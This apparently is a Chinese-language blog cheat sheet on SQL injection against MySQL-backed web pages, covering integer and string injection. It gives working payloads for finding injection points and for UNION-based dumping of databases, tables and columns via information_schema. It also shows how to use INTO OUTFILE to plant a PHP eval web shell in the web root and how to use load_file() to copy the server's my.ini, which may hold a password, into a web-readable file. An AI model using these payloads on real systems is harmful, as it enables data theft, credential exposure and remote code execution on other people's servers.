sql注入
整型
and 1=1页面正常 and 1=2页面异常 #判断注入点
order by 数字 #一开始不正确就在数字后加%23后测试字段数
union select 1,2,3,4,5,6...字段数 #在本行语句前加and 1=2就可以只显示联合查询结果
替换可显字段为version() #查询数据库版本 5.0以后的MySQL版本才有元数据库
user() #显示当前用户
database() #显示当前数据库
@@datadir #查询数据库路径
@@version_compile_os #查询操作系统版本
用information_schema查看其它数据库的内容
select 1,group_concat(schema_name),3 from information_schema.schemata
#查询所有数据库名
select table_name from information_schema.tables where table_schema="test";
#查看test数据库中包含哪些表 如果只显示一个表则将table_name放入group_concat()的括号内
select column_name from information_schema.columns where table_name="hack";
#查看hack表中包含了哪些字段
select 1,2,xxx,yyy,5... from zzz
#查看zzz字段内的xxx和yyy数据
导入到文件
SELECT.....INTO OUTFILE 'file_name'
第一种直接将select内容导入到文件中:Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将version()替换成一句话,<?php
@eval($_post[“mima”])?>也即
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用\r\n结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY
16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式
load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
可以利用该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了。上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。
字符型
输入"或'触发报错 #判断注入点
想办法闭合原语句中的前单引号 id=1' 闭合后单引号 id=1' and 1='1 或注释id=1' and 1=1-- -
但可能输入的内容不只是在单引号内 也可能在双引号或其他符号内 如(’‘)或(“”)或(%%)等
如果页面有返回则根据返回情况判断是哪种方式包裹输入的内容 如果只显示错误没有其他信息 则根据经验猜测

浙公网安备 33010602011771号